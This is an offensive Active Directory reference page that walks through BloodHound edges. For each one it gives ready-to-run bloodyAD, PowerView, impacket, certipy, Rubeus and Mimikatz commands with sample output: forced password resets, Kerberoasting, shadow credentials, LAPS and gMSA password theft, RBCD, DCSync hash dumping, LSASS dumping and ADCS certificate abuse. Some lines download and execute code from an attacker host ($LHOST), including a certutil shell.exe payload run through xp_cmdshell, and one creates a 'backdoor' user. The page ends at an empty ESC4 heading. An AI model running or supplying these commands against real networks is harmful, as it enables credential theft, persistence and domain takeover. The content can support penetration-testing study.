# BloodHound Edge Reference

> Maps AD attack paths via BloodHound edges, detailing exploitation techniques, required privileges, and lateral movement vectors for offensive AD enumeration.

- **URL:** https://hackindex.io/platforms/active-directory/enumeration/bloodhound-edge-reference
- **Path:** Active Directory > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/active-directory/enumeration.md)
- **Published:** 2026-06-09
- **Updated:** 2026-08-11

BloodHound nodes: users, computers, groups, OUs, GPOs, Certificate Authorities. Edges are directed. The arrow points from the node that has the right to the target. Mark compromised accounts as **Owned** (right-click → Mark as Owned), then use **Shortest Paths to Domain Admins from Owned Principals** to see your attack path.

BloodHound CE (v5+) adds edges not in legacy: `AddKeyCredentialLink`, `WriteAccountRestrictions`, `ADCSESC1`-`ADCSESC13`. If a CE-specific edge is missing, you may be on legacy BloodHound.

## Object Control Edges

### GenericAll

Full control over the target object. Strongest edge, unlocks every abuse technique for that object type.

- **User:** force password change, set SPN (targeted Kerberoasting), shadow credentials, disable pre-auth
- **Group:** add yourself as a member
- **Computer:** configure RBCD via `add rbcd`
- **GPO:** add scheduled task running as SYSTEM on every linked computer. See [GPO Abuse](https://hackindex.io/platforms/active-directory/exploitation/ad-gpo-abuse)

#### Kali (bloodyAD)

**GenericAll: user (bloodyAD)**

```bash
# Force password change
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'

# Set fake SPN → targeted Kerberoasting
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request
```

#### Windows (PowerView)

**GenericAll: user (PowerView)**

```powershell
# Load PowerView: On Kali: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')

# Force password change
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose

# Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose
```

#### Kali (bloodyAD)

**GenericAll: group + computer (bloodyAD)**

```bash
# Add yourself to group (new membership requires fresh TGT: log out and back in)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER

# RBCD on computer: then follow AllowedToAct section for S4U2Proxy exploit
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
```

#### Windows (PowerView)

**GenericAll: group + computer (PowerView)**

```powershell
# Add to group
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose

# RBCD on computer: build SD with controlled computer SID
$AttackerSID = Get-DomainComputer "$CONTROLLED_COMPUTER" -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
```

### GenericWrite

Write access on specific attributes of the target.

- **User:** set SPN (Kerberoasting), disable pre-auth (AS-REP roasting), add key credential (shadow creds)
- **Computer:** `add rbcd`, direct RBCD path, same as GenericAll on computer
- **Group:** `WriteProperty` on `member` to add members

#### Kali (bloodyAD)

**GenericWrite (bloodyAD)**

```bash
# Set SPN on user → targeted Kerberoasting
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request

# Disable pre-auth → AS-REP roastable
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER -f DONT_REQ_PREAUTH
impacket-GetNPUsers $DOMAIN/$TARGET_USER -no-pass -dc-ip $TARGET_IP

# On computer: RBCD (same as GenericAll on computer)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
```

#### Windows (PowerView)

**GenericWrite (PowerView)**

```powershell
# Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose

# Disable pre-auth → AS-REP roastable (XOR toggles DONT_REQ_PREAUTH bit = 0x400000)
Set-DomainObject -Identity $TARGET_USER -XOR @{useraccountcontrol=4194304} -Verbose
```

### ForceChangePassword

Reset the target user's password without knowing their current one. Avoid on service accounts: a password change can break running services.

#### Kali

**ForceChangePassword (bloodyAD + rpcclient)**

```bash
# bloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'

# rpcclient
rpcclient -U "$DOMAIN/$USER%$PASSWORD" $TARGET_IP -c "setuserinfo2 $TARGET_USER 23 'NewPass123!'"
```

#### Windows

**ForceChangePassword (PowerView / AD module)**

```powershell
# PowerView
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose

# AD module (RSAT: available on domain-joined hosts)
Set-ADAccountPassword -Identity $TARGET_USER -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset
```

### WriteOwner

Become the owner of the target object, then grant yourself `GenericAll`, then follow the GenericAll abuse path above.

#### Kali (bloodyAD)

**WriteOwner (bloodyAD)**

```bash
# Take ownership
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner "$TARGET_OBJECT" $USER

# Grant yourself GenericAll on the object
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "$TARGET_OBJECT" $USER
```

#### Windows (PowerView)

**WriteOwner (PowerView)**

```powershell
# Take ownership
Set-DomainObjectOwner -Identity "$TARGET_OBJECT" -OwnerIdentity $USER -Verbose

# Grant yourself full control
Add-DomainObjectAcl -TargetIdentity "$TARGET_OBJECT" -PrincipalIdentity $USER -Rights All -Verbose
```

### WriteDACL

Write to the DACL of the target. On a domain object: grant DCSync rights. On a group: grant AddMember. On a user: grant ForceChangePassword.

**AllExtendedRights** on a user includes `User-Force-Change-Password`. On a domain object it covers both replication rights, equivalent to the `DCSync` edge. Abuse path is the same as WriteDACL on domain below.

#### Kali (bloodyAD)

**WriteDACL on domain (bloodyAD)**

```bash
# Grant your account DCSync rights
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
```

#### Windows (PowerView)

**WriteDACL on domain (PowerView)**

```powershell
# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USER -Rights DCSync -Verbose

# Grant AddMember on a group
Add-DomainObjectAcl -TargetIdentity "$TARGET_GROUP" -PrincipalIdentity $USER -Rights WriteMembers -Verbose
```

### AddMember / AddSelf

`AddMember`: add any user. `AddSelf`: add only yourself. New group membership requires a fresh Kerberos ticket. Request a new TGT or re-authenticate after adding.

#### Kali (bloodyAD)

**AddMember (bloodyAD)**

```bash
# Add yourself
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER

# Add another user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $TARGET_USER
```

#### Windows (PowerView / AD module)

**AddMember (PowerView / AD module)**

```powershell
# PowerView
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose

# AD module
Add-ADGroupMember -Identity "$TARGET_GROUP" -Members $USER
```

### AddKeyCredentialLink / Shadow Credentials (CE)

Write to `msDS-KeyCredentialLink` on the target. Adds a certificate-based credential without changing the password (stealthier than ForceChangePassword). Requires PKINIT on the DC (Windows Server 2016+). Works on users and computers.

**WriteAccountRestrictions** is a CE-specific edge controlling `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer object. Direct RBCD path, same as GenericWrite on computer, use `add rbcd` or the PowerView SD method above.

#### Kali (certipy)

**Shadow credentials (certipy)**

```bash
# Add key credential, authenticate, return NTLM hash
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP

# Pass the hash
nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
# $ certipy shadow auto -u jsmith@corp.local -p Password123 -account svc-backup -dc-ip 10.10.10.10
# [*] Targeting user 'svc-backup'
# [*] Generating certificate
# [*] Got NT hash for 'svc-backup': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Whisker)

**Shadow credentials (Whisker)**

```powershell
.\Whisker.exe add /target:$TARGET_USER

# Run the Rubeus command Whisker prints: authenticates with cert, returns NT hash
.\Rubeus.exe asktgt /user:$TARGET_USER /certificate:$CERT_B64 /password:$CERT_PASS /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
# [*] Action: Shadow Credentials
# [*] Adding shadow credentials for: svc-backup
# [*] Use the following Rubeus command:
# .\Rubeus.exe asktgt /user:svc-backup /certificate:MIIK... /password:Whisker123 /domain:corp.local /dc:10.10.10.10 /getcredentials /show /nowrap
```

**ReadLAPSPassword**  The source principal can read `ms-Mcs-AdmPwd` on the target computer. LAPS stores the auto-rotated local administrator password in plaintext in this attribute. The local admin account is `Administrator` by default; newer Windows LAPS uses `msLAPS-Password` instead. Use the recovered password to authenticate as local admin on the target.

**ReadGMSAPassword**  The source principal can read `msds-ManagedPassword` on the gMSA. The blob decodes to the current NT hash. Use the NT hash for Pass-the-Hash to any service the gMSA authenticates to, or to services that accept NTLM from the gMSA account.

#### ReadLAPSPassword: Kali

**ReadLAPSPassword**

```bash
# Dump all readable LAPS passwords
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --module laps

# Read a specific computer (legacy LAPS)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$COMPUTER$" -attr ms-Mcs-AdmPwd

# Windows LAPS (Server 2022 / Win 11 built-in)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$COMPUTER$" -attr msLAPS-Password
# SMB         $DC_IP  445  DC01  [+] corp.local\$USER:$PASSWORD
# LDAP        $DC_IP  389  DC01  [+] corp.local\$USER:$PASSWORD
# LDAP        $DC_IP  389  DC01  [*] Getting LAPS passwords
# LDAP        $DC_IP  389  DC01  Computer: WS01  Password: Xk9#mQp2vL  Expiration: 2025-04-01 08:00:00
```

#### ReadLAPSPassword: Windows

**ReadLAPSPassword**

```powershell
# PowerView: all computers with readable LAPS
Get-DomainComputer -Filter {ms-Mcs-AdmPwd -Like '*'} -Properties Name, ms-Mcs-AdmPwd

# Native AD module
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |
    Where-Object { $_.'ms-Mcs-AdmPwd' } |
    Select-Object Name, ms-Mcs-AdmPwd

# Windows LAPS module (Server 2022 / Win 11)
Get-LapsADPassword -Identity $COMPUTER -AsPlainText
# Name   ms-Mcs-AdmPwd
# ----   -------------
# WS01   Xk9#mQp2vL
```

#### ReadGMSAPassword: Kali

**ReadGMSAPassword**

```bash
# bloodyAD: decodes blob automatically, returns NT hash + plaintext
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$GMSA_ACCOUNT$" -attr msds-ManagedPassword

# nxc: dump all readable gMSA passwords
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --gmsa
# msds-ManagedPassword: {
#   'CurrentPassword': 'Ej7Kp2...', 
#   'CurrentNTHash': 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'
# }
```

#### ReadGMSAPassword: Windows

**ReadGMSAPassword**

```powershell
# DSInternals: decode the managed password blob
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity $GMSA_ACCOUNT -Properties msDS-ManagedPassword
$blob = ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword'
$blob.CurrentPassword
$blob.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText
# CurrentNTHash     : 8846f7eaee8fb117ad06bdd830b7586c
# CurrentPassword   : Ej7Kp2mN...
```

## Owns

The source principal owns the target AD object. Owners can modify the object's DACL without needing an existing ACE, which effectively grants full control. Abuse by granting yourself `GenericAll` on the target, then follow any GenericAll path (ForceChangePassword, Shadow Credentials, Kerberoast, etc.).

#### Kali (bloodyAD)

```bash
# Grant yourself GenericAll as the object owner
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  add genericAll $TARGET $USER

# Then follow GenericAll path: e.g. ForceChangePassword
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set password $TARGET 'NewPass123!'

# Or add Shadow Credentials (see AddKeyCredentialLink)
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET -dc-ip $DC_IP
```

#### Windows (PowerView)

```powershell
Import-Module PowerView.ps1

# Grant yourself GenericAll on target
Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All

# Then ForceChangePassword
$pass = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-DomainUserPassword -Identity $TARGET -AccountPassword $pass
```

## SyncLAPSPassword

The source principal has write access to the LAPS password attribute on a computer object (`ms-Mcs-AdmPwd` for legacy LAPS, `msLAPS-Password` for Windows LAPS). Set the attribute to a known value, then authenticate as the local Administrator on that machine.

BloodHound CE surfaces this as a distinct edge from `ReadLAPSPassword`.

#### Kali (bloodyAD)

```bash
# Set legacy LAPS password to known value
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object "$COMPUTER" ms-Mcs-AdmPwd -v 'P@ssw0rd123!'

# Authenticate locally with the set password
nxc smb $TARGET_IP -u Administrator -p 'P@ssw0rd123!' --local-auth
# SMB  10.10.10.10  445  COMPUTER  [+] COMPUTER\Administrator:P@ssw0rd123! (Pwn3d!)
```

#### Windows (AD module)

```powershell
# Set LAPS password attribute (requires write on ms-Mcs-AdmPwd)
Set-ADComputer $COMPUTER -Replace @{'ms-Mcs-AdmPwd' = 'P@ssw0rd123!'}

# Connect to machine as local Admin
$cred = New-Object PSCredential('Administrator', (ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force))
Enter-PSSession -ComputerName $COMPUTER -Credential $cred
```

## HasSIDHistory

The source account has a high-privilege SID (e.g., Domain Admins or Enterprise Admins from another domain) stored in its `sIDHistory` attribute. Windows includes SID history entries in the Kerberos PAC automatically: the account is treated as a member of those groups during access checks without requiring explicit group membership.

No additional exploitation step is needed. Authenticate normally and the inherited privileges apply. Common in migration scenarios or after a trust domain takeover.

#### Kali

```bash
# Inspect SID history on the account
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  get object "$ACCOUNT" -attr sIDHistory

# Resolve SID to a readable name
impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$DC_IP | grep "$SID_SUFFIX"

# SIDHistory is active on every authentication - just use the account normally
nxc smb $DC_IP -u $USER -p $PASSWORD -d $DOMAIN
```

#### Windows

```powershell
# Inspect SIDHistory
Get-ADUser $ACCOUNT -Properties SIDHistory | Select-Object -ExpandProperty SIDHistory

# Resolve to name
foreach ($sid in (Get-ADUser $ACCOUNT -Properties SIDHistory).SIDHistory) {
    $sid.Translate([System.Security.Principal.NTAccount])
}

# No further steps: auth normally to inherit privileges
```

## Session and Access Edges

### HasSession

A user has an active session on the target computer at collection time. Their credentials may be in LSASS. **HasSession is a pivot indicator, not a direct access edge.** You need a separate access edge (AdminTo, CanRDP, CanPSRemote) to reach that computer first.

**Dump credentials from machine with active session**

```bash
# Requires local admin on the target computer
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy

# secretsdump
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP
# LSASSY  10.10.10.10  445  PC01  corp\administrator:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

See [AD Credential Dumping](https://hackindex.io/platforms/active-directory/post-exploitation/ad-credential-dumping) for full methods.

### AdminTo

Your controlled user is a local administrator on the target computer. Gives LSASS access, SMB exec, WinRM, PSExec: full post-exploitation.

**AdminTo: shell and credential dump**

```bash
# Verify local admin
nxc smb $TARGET_IP -u $USER -p $PASSWORD

# Shell via WinRM (port 5985)
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

# Shell via SMB exec
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# LSASS dump
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
# SMB  10.10.10.10  445  PC01  [+] corp\jsmith:Password123 (Pwn3d!)
```

### CanRDP / CanPSRemote / ExecuteDCOM

`CanRDP`: Remote Desktop (port 3389). `CanPSRemote`: WinRM (port 5985). `ExecuteDCOM`: DCOM exec (requires local admin on target).

**CanRDP / CanPSRemote / ExecuteDCOM**

```bash
# CanRDP
xfreerdp /v:$TARGET_IP /u:$USER /p:$PASSWORD /d:$DOMAIN +clipboard /dynamic-resolution

# CanPSRemote
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

# ExecuteDCOM
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'cmd.exe /c net user backdoor Password123! /add'
```

## SQLAdmin

The source principal has `sysadmin` or `sa` access to the target Microsoft SQL Server instance discovered by BloodHound. Use it to execute OS commands via `xp_cmdshell`, read files, or pivot to other services running under the SQL service account.

#### Kali (nxc + mssqlclient)

```bash
# Confirm sysadmin access
nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

# Execute OS command directly
nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -x 'whoami'

# Interactive shell via impacket
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
# SQL (CORP\dbuser  dbo@master)> EXEC sp_configure 'show advanced options',1;RECONFIGURE;
# SQL (CORP\dbuser  dbo@master)> EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
# SQL (CORP\dbuser  dbo@master)> EXEC xp_cmdshell 'whoami';
# Output
# ------
# nt service\mssqlserver
```

#### Windows (sqlcmd)

```bash
# Enable xp_cmdshell and execute command
sqlcmd -S $TARGET_IP -E -Q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami';"

# Upload and execute payload
sqlcmd -S $TARGET_IP -E -Q "EXEC xp_cmdshell 'certutil -urlcache -f http://$LHOST/shell.exe C:\Windows\Temp\shell.exe && C:\Windows\Temp\shell.exe';"
```

## Replication Edges

### DCSync / GetChanges + GetChangesAll / AllExtendedRights on Domain

Impersonate a DC to pull all password hashes. `DCSync` edge means both replication rights are already granted. First grant rights if missing (WriteDACL → `add dcsync`), then dump.

#### Kali (secretsdump)

**DCSync (secretsdump)**

```bash
# All hashes
impacket-secretsdump -just-dc $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Target account only
impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-secretsdump -just-dc-user Administrator $DOMAIN/$USER:$PASSWORD@$TARGET_IP
# corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
```

#### Windows (Mimikatz)

**DCSync (Mimikatz)**

```bash
lsadump::dcsync /domain:$DOMAIN /user:krbtgt
lsadump::dcsync /domain:$DOMAIN /user:Administrator
lsadump::dcsync /domain:$DOMAIN /all /csv
# Object  : krbtgt
# Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d
```

The `krbtgt` hash enables a Golden Ticket. See [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover).

## Delegation Edges

### AllowedToDelegate (Constrained Delegation)

The account is trusted to delegate to a specific SPN. Impersonate any user (including Domain Admin) to that service without knowing their password.

#### Kali (impacket-getST)

**Constrained delegation (impacket-getST)**

```bash
# Get service ticket impersonating Administrator
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/$USER:$PASSWORD

# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
```

#### Windows (Rubeus)

**Constrained delegation (Rubeus)**

```powershell
# Enumerate accounts trusted for constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnsHostname,msds-allowedtodelegateto

# S4U2Proxy: need NT hash of the delegating account
.\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt

# With existing TGT
.\Rubeus.exe s4u /ticket:$BASE64_TGT /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt
```

### AllowedToAct / RBCD (Resource-Based Constrained Delegation)

You have write access on `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target computer (GenericAll / GenericWrite / WriteAccountRestrictions). Need a computer account you control. Create one with `impacket-addcomputer` or `New-MachineAccount` if the machine account quota allows (default: 10 per domain user).

#### Kali (impacket + bloodyAD)

**RBCD (impacket + bloodyAD)**

```bash
# Create attacker-controlled computer account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKER$' -computer-pass 'Password123!' -dc-ip $TARGET_IP

# Set RBCD: ATTACKER$ can act on behalf of TARGET_COMPUTER
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" 'ATTACKER$'

# S4U2Self + S4U2Proxy → Administrator CIFS ticket
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKER$':'Password123!'

# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
```

#### Windows (PowerMad + Rubeus)

**RBCD (PowerMad + Rubeus)**

```powershell
# Load PowerMad
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Powermad.ps1')

# Create computer account
New-MachineAccount -MachineAccount 'ATTACKER' -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# Get SID and build security descriptor
$AttackerSID = Get-DomainComputer 'ATTACKER' -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# NT hash of ATTACKER$ then S4U2Proxy
.\Rubeus.exe hash /password:'Password123!'
.\Rubeus.exe s4u /user:'ATTACKER$' /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt
```

## ADCS Edges (BloodHound CE)

BloodHound CE maps Active Directory Certificate Services misconfigurations as distinct edges. Legacy BloodHound does not include these paths. Each ESC number corresponds to a class of misconfiguration first documented by SpecterOps in Certified Pre-Owned (2021). Use `certipy find -vulnerable` to enumerate all of these in one pass.

- **ADCSESC1**: template allows requestor-supplied SAN + Client Auth EKU + low-priv enrollment
- **ADCSESC2**: template has Any Purpose EKU or no EKU (SubCA), effectively same abuse as ESC1
- **ADCSESC3**: template has Certificate Request Agent EKU, enabling on-behalf-of enrollment for any user
- **ADCSESC4**: write access on certificate template object, modify to enable SAN then ESC1
- **ADCSESC5**: write control over a CA or PKI object in AD, enable vulnerable templates or modify CA settings
- **ADCSESC6**: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set, any template request may include attacker-specified SAN
- **ADCSESC7**: ManageCA or Manage Certificates right on the CA, issue/approve pending requests or enable vulnerable templates
- **ADCSESC8**: NTLM relay to AD CS HTTP endpoint (`/certsrv/`), relay machine auth to obtain a certificate
- **ADCSESC9a/b**: GenericWrite on account with weak certificate mapping, change UPN/dNSHostName to enroll as another principal
- **ADCSESC10a/b**: DC has `StrongCertificateBindingEnforcement=0` or compatibility mode; change UPN or dNSHostName to impersonate any principal
- **ADCSESC11**: NTLM relay to MS-ICPR (RPC enrollment), CA does not enforce encryption on certificate requests
- **ADCSESC13**: certificate template's IssuancePolicies OID is linked to an AD group; enrolling grants membership in that group

All ESC attacks end with `certipy auth -pfx cert.pfx -dc-ip $DC_IP` to obtain a TGT via PKINIT, then use impacket or nxc with the TGT.

#### ESC1

**ESC1:** Certificate template allows the enrollee to specify a Subject Alternative Name (SAN) and has the Client Authentication EKU enabled. Low-privileged users can enroll. Request a cert with SAN set to any user (e.g., Administrator) and authenticate as that user via PKINIT.

#### Kali (certipy)

```bash
# Find ESC1-vulnerable templates
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout 2>/dev/null

# Request cert with SAN = DA
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template '$TEMPLATE' \
  -upn 'administrator@$DOMAIN' -target $DC_IP

# Authenticate with received cert → get TGT
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
# [*] Using principal: administrator@corp.local
# [*] Saved credential cache to 'administrator.ccache'
# [*] NT Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

#### Windows (Certify + Rubeus)

```powershell
# Find vulnerable templates
.\Certify.exe find /vulnerable

# Request cert with SAN
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'

# Convert PEM → PFX (run on Kali or Windows with OpenSSL)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:

# Request TGT and inject into session
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC2

**ESC2:** Template has the Any Purpose EKU or no EKU at all (SubCA). Effectively the same abuse path as ESC1: request a cert with an attacker-controlled SAN. SubCA templates may require issuing a pending request via ManageCA rights (see ESC7).

#### Kali (certipy)

```bash
# ESC2: template has Any Purpose EKU or no EKU (SubCA)
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout 2>/dev/null | grep -A5 'ESC2'

# Request cert: same as ESC1 if Any Purpose
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template '$TEMPLATE' \
  -upn 'administrator@$DOMAIN' -target $DC_IP

# SubCA (no EKU): request will pend, needs issuing or ManageCA (→ ESC7 path)
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

#### Windows (Certify + Rubeus)

```powershell
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC3

**ESC3:** Two-template chain: one template has the Certificate Request Agent EKU, another allows enrollment-agent enrollment. Step 1: get an enrollment agent cert. Step 2: use it to enroll *on behalf of* any user, including Domain Admins.

#### Kali (certipy)

```bash
# ESC3: two-step enrollment agent attack

# Step 1: request enrollment agent cert (Certificate Request Agent EKU)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template '$ENROLL_AGENT_TEMPLATE' -target $DC_IP
# -> agent.pfx

# Step 2: enroll on behalf of DA using agent cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template 'User' \
  -on-behalf-of '$DOMAIN\administrator' -pfx agent.pfx -target $DC_IP
# -> administrator.pfx

certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

#### Windows (Certify + Rubeus)

```powershell
# Step 1: get enrollment agent cert
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$ENROLL_AGENT_TEMPLATE'
openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx -password pass:

# Step 2: request on behalf of DA
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /onbehalfof:'$DOMAIN\administrator' /enrollcert:agent.pfx /enrollcertpwd:
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:

.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC4

